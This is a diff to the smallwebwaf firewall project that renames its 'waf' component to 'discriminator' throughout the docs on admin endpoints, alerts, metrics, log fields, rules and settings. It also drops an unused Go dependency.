|
||||
# Admin endpoints
|
||||
|
||||
The endpoints under `/_sww/`, what each takes and what each answers. `sww waf`
|
||||
answers them at its own address, on the private network. "Admin endpoints" in
|
||||
[`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||
The endpoints under `/_sww/`, what each takes and what each answers.
|
||||
`sww discriminator` answers them at its own address, on the private network.
|
||||
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||
|
||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||
@@ -20,10 +20,10 @@ answers them at its own address, on the private network. "Admin endpoints" in
|
||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
|
||||
`<client>`. It answers `404` when none is active.
|
||||
- `GET /_sww/clients/<ip>`: what `waf` knows of the client. Under `client`, its
|
||||
counters and history as `clients.json` holds them, or `null` when
|
||||
`clients.json` does not hold it. Under `bans`, every ban covering the address,
|
||||
with its notes.
|
||||
- `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
|
||||
`client`, its counters and history as `clients.json` holds them, or `null`
|
||||
when `clients.json` does not hold it. Under `bans`, every ban covering the
|
||||
address, with its notes.
|
||||
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
|
||||
`204`, or `400` to a body that is no report (see "The report" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
@@ -32,29 +32,29 @@ No check runs on these requests. A missing or wrong token is answered `401`. An
|
||||
endpoint whose token is unset answers `404`, as does any other path.
|
||||
|
||||
`sww rproxy` answers only the health check of these, at its own address. It asks
|
||||
`waf` about any other request under `/_sww/`. One that passes the checks is
|
||||
answered `404`, so that the app never sees that prefix (see "`rproxy`" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
`discriminator` about any other request under `/_sww/`. One that passes the
|
||||
checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
|
||||
in [`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## Examples
|
||||
|
||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
||||
`waf:8080` on its network:
|
||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
|
||||
as `discriminator:8080` on its network:
|
||||
|
||||
```sh
|
||||
# Every ban.
|
||||
curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans
|
||||
curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
|
||||
|
||||
# Ban 203.0.113.0/24 for seven days.
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
|
||||
http://waf:8080/_sww/bans
|
||||
http://discriminator:8080/_sww/bans
|
||||
|
||||
# Lift the bans on 203.0.113.9.
|
||||
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
|
||||
http://waf:8080/_sww/bans/203.0.113.9
|
||||
http://discriminator:8080/_sww/bans/203.0.113.9
|
||||
|
||||
# What waf knows of 203.0.113.9.
|
||||
# What discriminator knows of 203.0.113.9.
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
http://waf:8080/_sww/clients/203.0.113.9
|
||||
http://discriminator:8080/_sww/clients/203.0.113.9
|
||||
```
|
||||
+7
-6
@@ -6,7 +6,7 @@ back or dropped.
|
||||
|
||||
## Events
|
||||
|
||||
- `ban`: a ban `waf` made.
|
||||
- `ban`: a ban `discriminator` made.
|
||||
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
||||
a request.
|
||||
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
||||
@@ -34,7 +34,7 @@ on one line:
|
||||
|
||||
```json
|
||||
{
|
||||
"instance": "fsn1/waf",
|
||||
"instance": "fsn1/discriminator",
|
||||
"time": "2026-10-06T12:00:50.123461Z",
|
||||
"event": "ban",
|
||||
"host": "app.example",
|
||||
@@ -79,8 +79,9 @@ on one line:
|
||||
|
||||
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||
one of the events above.
|
||||
- `host`: the site of the request that raised the alert, since one `waf` serves
|
||||
many sites. It is left out of `source_failure`, `file_error` and `summary`.
|
||||
- `host`: the site of the request that raised the alert, since one
|
||||
`discriminator` serves many sites. It is left out of `source_failure`,
|
||||
`file_error` and `summary`.
|
||||
- `client`: the address whose request raised the alert. Empty for
|
||||
`source_failure`, `file_error` and `summary`.
|
||||
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
|
||||
@@ -110,8 +111,8 @@ on one line:
|
||||
## Slack and ntfy
|
||||
|
||||
Slack and ntfy get a message with a title and a text. The title is the instance
|
||||
and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line
|
||||
for each of these that the alert has:
|
||||
and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
|
||||
one line for each of these that the alert has:
|
||||
|
||||
- the host, the client, the netblock and the country;
|
||||
- the file, the source, the error and the mode from `detail`;
|
||||
|
||||
+5
-5
@@ -1,9 +1,9 @@
|
||||
# What the image holds
|
||||
|
||||
The contents of the `smallwebwaf` image, and how each part is pinned. The image
|
||||
runs `rproxy` by default, or `waf` with `SWW_COMMAND=waf`. "Deployment" in
|
||||
[`SPEC.md`](../SPEC.md) says why each part is there and why it is pinned that
|
||||
way.
|
||||
runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
|
||||
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
|
||||
is pinned that way.
|
||||
|
||||
## Contents
|
||||
|
||||
@@ -18,8 +18,8 @@ way.
|
||||
- The `sww` binary, and the user `sww` (uid and gid 65532).
|
||||
- The service directory `/etc/service/sww`, with the `run` script
|
||||
`share/sww.run`.
|
||||
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
||||
default rule file `share/rules.d/00-default.rules`.
|
||||
- `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
|
||||
the default rule file `share/rules.d/00-default.rules`.
|
||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||
|
||||
## Pins
|
||||
|
||||
+6
-6
@@ -1,8 +1,8 @@
|
||||
# The metrics
|
||||
|
||||
What `GET /_sww/metrics` answers with, at `waf`'s own address. "Metrics
|
||||
endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps
|
||||
the `instance` label as `exported_instance` unless the scrape sets
|
||||
What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
|
||||
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
|
||||
keeps the `instance` label as `exported_instance` unless the scrape sets
|
||||
`honor_labels: true`. `rproxy` has no metrics.
|
||||
|
||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||
@@ -15,7 +15,7 @@ body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
||||
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
|
||||
histograms;
|
||||
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
|
||||
`waf` is handling.
|
||||
`discriminator` is handling.
|
||||
|
||||
## Limits and bans
|
||||
|
||||
@@ -78,8 +78,8 @@ By `file`:
|
||||
|
||||
## When a request is counted
|
||||
|
||||
`waf` counts a denied request at its decision, and a request to its own
|
||||
endpoints when it is answered. It counts an allowed request when its report
|
||||
`discriminator` counts a denied request at its decision, and a request to its
|
||||
own endpoints when it is answered. It counts an allowed request when its report
|
||||
comes, with the status, bytes and times the report gives. These are not counted:
|
||||
|
||||
- a report itself;
|
||||
|
||||
+37
-34
@@ -1,32 +1,32 @@
|
||||
# The request log's fields
|
||||
|
||||
The fields of the JSON objects `rproxy` and `waf` write about each request.
|
||||
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
|
||||
written and how the log is sent to a syslog server. A field that does not apply
|
||||
to a request is left out.
|
||||
The fields of the JSON objects `rproxy` and `discriminator` write about each
|
||||
request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
|
||||
is written and how the log is sent to a syslog server. A field that does not
|
||||
apply to a request is left out.
|
||||
|
||||
## `waf`'s lines
|
||||
## `discriminator`'s lines
|
||||
|
||||
`sww waf` writes two lines for each question it answers, joined by `request_id`.
|
||||
The field `waf_line` says which of the two a line is:
|
||||
`sww discriminator` writes two lines for each question it answers, joined by
|
||||
`request_id`. The field `discriminator_line` says which of the two a line is:
|
||||
|
||||
- `decision`: the line it writes once it has answered the question;
|
||||
- `report`: the line it writes when `rproxy`'s report comes, with everything
|
||||
known. The repetition is intended.
|
||||
|
||||
A request to its own endpoints writes one line, without `waf_line`. A report
|
||||
writes no line but the `report` line of the request it names.
|
||||
A request to its own endpoints writes one line, without `discriminator_line`. A
|
||||
report writes no line but the `report` line of the request it names.
|
||||
|
||||
These questions write no line:
|
||||
|
||||
- a question refused with `400` (see "The question" under "`waf`" in
|
||||
- a question refused with `400` (see "The question" under "`discriminator`" in
|
||||
[`SPEC.md`](../SPEC.md));
|
||||
- a question whose body stopped arriving, which gets no answer.
|
||||
|
||||
A `report` line:
|
||||
|
||||
```
|
||||
{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
||||
{"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
||||
```
|
||||
|
||||
### Every line
|
||||
@@ -41,8 +41,9 @@ Every one of these lines has:
|
||||
|
||||
### Standard web log fields
|
||||
|
||||
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
|
||||
in UTC. The `report` line gives the same time as the `decision` line.
|
||||
- `time`: when `discriminator` had read the question's body, RFC 3339 with
|
||||
milliseconds, in UTC. The `report` line gives the same time as the `decision`
|
||||
line.
|
||||
- `instance`: `SWW_INSTANCE_NAME`.
|
||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||
- `method`, `path` and `query`: the visitor's request.
|
||||
@@ -51,8 +52,9 @@ Every one of these lines has:
|
||||
- `host`: the site the visitor asked for.
|
||||
- `protocol`: the question's own, `HTTP/1.1`.
|
||||
- `status`:
|
||||
- on the `decision` line, what `waf` answered: `200` for `allow`, the status
|
||||
of `deny`, or `0` for `close`, as the visitor is then sent nothing;
|
||||
- on the `decision` line, what `discriminator` answered: `200` for `allow`,
|
||||
the status of `deny`, or `0` for `close`, as the visitor is then sent
|
||||
nothing;
|
||||
- on the `report` line, what the visitor got, `0` if nothing.
|
||||
- `request_bytes`:
|
||||
- on the `decision` line, how much of the question's body the Core Rule Set
|
||||
@@ -60,7 +62,7 @@ Every one of these lines has:
|
||||
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
|
||||
with what a WebSocket carried from the visitor.
|
||||
- `response_bytes`:
|
||||
- on the `decision` line, the body of `waf`'s answer;
|
||||
- on the `decision` line, the body of `discriminator`'s answer;
|
||||
- on the `report` line, the bytes of the answer's body, with what a
|
||||
WebSocket carried from the app.
|
||||
- `referer` and `user_agent`.
|
||||
@@ -77,7 +79,7 @@ Every one of these lines has:
|
||||
- lookups are off;
|
||||
- the client is not looked up;
|
||||
- the source cannot place the client;
|
||||
- GeoJS had not answered by the time `waf` answered.
|
||||
- GeoJS had not answered by the time `discriminator` answered.
|
||||
- `content_type`: the visitor's `Content-Type`.
|
||||
- `content_length`: the body length the visitor announced.
|
||||
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||
@@ -87,7 +89,7 @@ Every one of these lines has:
|
||||
|
||||
### Response detail
|
||||
|
||||
- `response_content_type`: the type of `waf`'s own answer.
|
||||
- `response_content_type`: the type of `discriminator`'s own answer.
|
||||
- `aborted`: true when `rproxy` went away before the answer.
|
||||
|
||||
### Decision
|
||||
@@ -103,8 +105,8 @@ Every one of these lines has:
|
||||
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
||||
`blocked_by_core_rule_set`: refused by that check;
|
||||
- `request_header_too_large`: over a header limit;
|
||||
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a
|
||||
path under `/_sww/`.
|
||||
- `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
|
||||
`404` for a path under `/_sww/`.
|
||||
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
||||
request it would have refused. `action` then names what was done, normally
|
||||
`forward`.
|
||||
@@ -129,8 +131,9 @@ Every one of these lines has:
|
||||
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
||||
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
||||
- `after_answer_heuristic`: the heuristic that banned the client after
|
||||
`discriminator` answered the request, in `observe` mode too: `refusal_limit`
|
||||
or `byte_limits`.
|
||||
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
||||
acted on, as listed above.
|
||||
|
||||
@@ -188,8 +191,8 @@ Every one of these lines has:
|
||||
All in milliseconds:
|
||||
|
||||
- `duration_total_ms`:
|
||||
- on the `decision` line, from `waf` having read the question's body to the
|
||||
line;
|
||||
- on the `decision` line, from `discriminator` having read the question's
|
||||
body to the line;
|
||||
- on the `report` line, from `rproxy` having read the request's headers to
|
||||
the end of the answer.
|
||||
- `duration_checks_ms`: to the end of the checks;
|
||||
@@ -199,8 +202,8 @@ All in milliseconds:
|
||||
|
||||
### Requests to its own endpoints
|
||||
|
||||
The line of a request to `waf`'s own endpoints has these fields, with these
|
||||
meanings where they differ:
|
||||
The line of a request to `discriminator`'s own endpoints has these fields, with
|
||||
these meanings where they differ:
|
||||
|
||||
- `client_ip` and `peer_ip`: the request's TCP peer.
|
||||
- `request_id`: a new random one of 26 letters and digits.
|
||||
@@ -213,7 +216,7 @@ meanings where they differ:
|
||||
## `rproxy`'s line
|
||||
|
||||
`sww rproxy` writes one short line for each request. `request_id` joins it to
|
||||
`waf`'s two. It has these fields and no others:
|
||||
`discriminator`'s two. It has these fields and no others:
|
||||
|
||||
- `type`: `request`.
|
||||
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
|
||||
@@ -228,15 +231,15 @@ meanings where they differ:
|
||||
carried from the app.
|
||||
- `duration_request_ms`: milliseconds from the request's headers being read
|
||||
until the app had been sent the whole request, or the answer started if that
|
||||
was sooner. It includes the wait for `waf`.
|
||||
was sooner. It includes the wait for `discriminator`.
|
||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out
|
||||
when:
|
||||
- `waf` was not asked, as for the health check;
|
||||
- the visitor went away while `waf` was being asked;
|
||||
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
||||
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
||||
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
|
||||
left out when:
|
||||
- `discriminator` was not asked, as for the health check;
|
||||
- the visitor went away while `discriminator` was being asked;
|
||||
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
|
||||
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
|
||||
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||
`disposition`, and otherwise left out.
|
||||
|
||||
|
||||
+6
-4
@@ -54,18 +54,20 @@ empty-agent user_agent log ^$
|
||||
|
||||
## A file of your own
|
||||
|
||||
`waf` reads the rule files in its own container. Rules of your own go in a file
|
||||
named to sort after the default, such as `50-site.rules`:
|
||||
`discriminator` reads the rule files in its own container. Rules of your own go
|
||||
in a file named to sort after the default, such as `50-site.rules`:
|
||||
|
||||
```
|
||||
# 50-site.rules: WordPress probes, which this site never serves
|
||||
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
|
||||
```
|
||||
|
||||
A `Dockerfile` built on the `smallwebwaf` image, for `waf` to run from, adds it:
|
||||
A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
|
||||
from, adds it:
|
||||
|
||||
```dockerfile
|
||||
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
|
||||
```
|
||||
|
||||
Or mount it there. A `path` rule applies on every site behind that `waf`.
|
||||
Or mount it there. A `path` rule applies on every site behind that
|
||||
`discriminator`.
|
||||
+42
-40
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||
that take `off`, the `_FILE` form, and what each group does and why.
|
||||
|
||||
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_`
|
||||
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between
|
||||
the two (see "The image's command" below).
|
||||
The settings that start with `SWW_` are `discriminator`'s. Those that start with
|
||||
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
|
||||
between the two (see "The image's command" below).
|
||||
|
||||
## Forms of values
|
||||
|
||||
@@ -28,20 +28,21 @@ the two (see "The image's command" below).
|
||||
|
||||
## Core
|
||||
|
||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such
|
||||
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
|
||||
port, such as `:9000`. Leave the host out (see "Ports" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`.
|
||||
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48
|
||||
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set
|
||||
and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||
in each line `discriminator` logs, and in each alert and metric, such as
|
||||
`fsn1/discriminator`. Valid UTF-8. No control character while
|
||||
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
||||
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||
group, from 32 to 128.
|
||||
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||
number above zero.
|
||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole
|
||||
number above zero.
|
||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
||||
keeps, a whole number above zero.
|
||||
|
||||
## Tokens
|
||||
|
||||
@@ -61,8 +62,8 @@ the two (see "The image's command" below).
|
||||
|
||||
## Logging
|
||||
|
||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
||||
that are written: `debug`, `info`, `warn` or `error`.
|
||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
|
||||
messages that are written: `debug`, `info`, `warn` or `error`.
|
||||
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||
request headers recorded in the log line, in either case. `Host` and
|
||||
@@ -166,8 +167,8 @@ cut off; the client is banned.
|
||||
|
||||
## Request tags
|
||||
|
||||
Every request gets tags from what `waf` knows of its client. See "Request tags"
|
||||
in [`SPEC.md`](../SPEC.md).
|
||||
Every request gets tags from what `discriminator` knows of its client. See
|
||||
"Request tags" in [`SPEC.md`](../SPEC.md).
|
||||
|
||||
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||
@@ -187,10 +188,10 @@ in [`SPEC.md`](../SPEC.md).
|
||||
|
||||
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||
service that gives an address's announced netblock and origin AS. `waf` asks
|
||||
it about each client, in the background, and adds the tags `asn=<number>` and
|
||||
`prefix=<netblock>` from its answer. While it is unset, nothing asks
|
||||
routewatch and no request gets a `prefix=` tag.
|
||||
service that gives an address's announced netblock and origin AS.
|
||||
`discriminator` asks it about each client, in the background, and adds the
|
||||
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
|
||||
unset, nothing asks routewatch and no request gets a `prefix=` tag.
|
||||
|
||||
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||
that no request can get stops the start. A request can get only these:
|
||||
@@ -376,7 +377,7 @@ Then mount its directory into the container read-only, and name the file:
|
||||
```sh
|
||||
docker run \
|
||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||
-e SWW_COMMAND=waf \
|
||||
-e SWW_COMMAND=discriminator \
|
||||
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||
...
|
||||
```
|
||||
@@ -390,20 +391,21 @@ A few limits are fixed rather than settings:
|
||||
- at most 1,000 DNS blocklist queries are under way at once;
|
||||
- at most 20,000 anomaly counters are kept;
|
||||
- each alert destination's queue holds at most 1,000 alerts;
|
||||
- `waf` holds at most 10,000 answered requests awaiting their reports;
|
||||
- `waf` refuses a request with more than 50 cookies or more than 100 header
|
||||
fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md));
|
||||
- `discriminator` holds at most 10,000 answered requests awaiting their reports;
|
||||
- `discriminator` refuses a request with more than 50 cookies or more than 100
|
||||
header fields (see "Answering in time" under "`discriminator`" in
|
||||
[`SPEC.md`](../SPEC.md));
|
||||
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
||||
kept-open connection idle for 120 seconds;
|
||||
- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502`
|
||||
to a longer one.
|
||||
- `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
|
||||
answers `502` to a longer one.
|
||||
|
||||
## `waf`'s answer and `rproxy`'s wait
|
||||
## `discriminator`'s answer and `rproxy`'s wait
|
||||
|
||||
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||
in the background (see "Answering in time" under "`waf`" in
|
||||
in the background (see "Answering in time" under "`discriminator`" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## `rproxy`
|
||||
@@ -415,15 +417,16 @@ they do.
|
||||
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https`
|
||||
URL with a host and an optional port, and nothing more. `rproxy` speaks
|
||||
HTTP/1.1 to it.
|
||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
||||
answer, to a question and to a report. A time; never `off`.
|
||||
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
||||
`discriminator`'s answer, to a question and to a report. A time; never `off`.
|
||||
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||
`waf` cannot be connected to, does not answer at all, or does not answer
|
||||
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
|
||||
`503`. It does not apply to an answer `waf` gives, such as an error.
|
||||
`discriminator` cannot be connected to, does not answer at all, or does not
|
||||
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
|
||||
answers `503`. It does not apply to an answer `discriminator` gives, such as
|
||||
an error.
|
||||
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||
@@ -433,9 +436,8 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
headers, the time until the app has been sent the whole request. A time or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
||||
from the end of the request to its last byte reaching the visitor. An answer
|
||||
`rproxy` gives itself always has at least 10 seconds to be sent, and so do the
|
||||
status and headers of the app's answer. A time or `off`.
|
||||
from the end of the request to its last byte reaching the visitor. A time or
|
||||
`off`.
|
||||
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
||||
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more.
|
||||
@@ -449,8 +451,8 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
## The image's command
|
||||
|
||||
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
|
||||
check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)).
|
||||
It cannot be given as a file.
|
||||
check checks: `rproxy` or `discriminator` (see "Deployment" in
|
||||
[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
|
||||
|
||||
## Where earlier settings went
|
||||
|
||||
|
||||
+1
-1
@@ -7,7 +7,7 @@ a top-level `version` of 1.
|
||||
## `bans.json`
|
||||
|
||||
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||
`waf` made. Per entry:
|
||||
`discriminator` made. Per entry:
|
||||
|
||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||
|
||||
@@ -3,7 +3,6 @@ module sneak.berlin/go/smallwebwaf
|
||||
go 1.26.0
|
||||
|
||||
require (
|
||||
cloud.google.com/go v0.123.0
|
||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
|
||||
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
|
||||
github.com/fsnotify/fsnotify v1.10.1
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
|
||||
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
|
||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||
|
||||
@@ -151,7 +151,7 @@ type Params struct {
|
||||
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
|
||||
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
|
||||
// Country are, for a ban, the client's as the ban's notes give them. Host is
|
||||
// the site of the request that raised the alert, while one waf serves
|
||||
// the site of the request that raised the alert, while one discriminator serves
|
||||
// many sites, and "" otherwise.
|
||||
//
|
||||
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
|
||||
|
||||
+13
-13
@@ -1,6 +1,6 @@
|
||||
// Package config reads sww's settings, and is the one place they are
|
||||
// read. Every setting is an environment variable. The settings of `sww
|
||||
// waf` start with SWW_, every one of them has a default, and most can be
|
||||
// discriminator` start with SWW_, every one of them has a default, and most can be
|
||||
// given as a file instead. Those of `sww rproxy` start with SWRP_. Each
|
||||
// of them but SWRP_WAF_BACKEND has a default, and none can be given as a file,
|
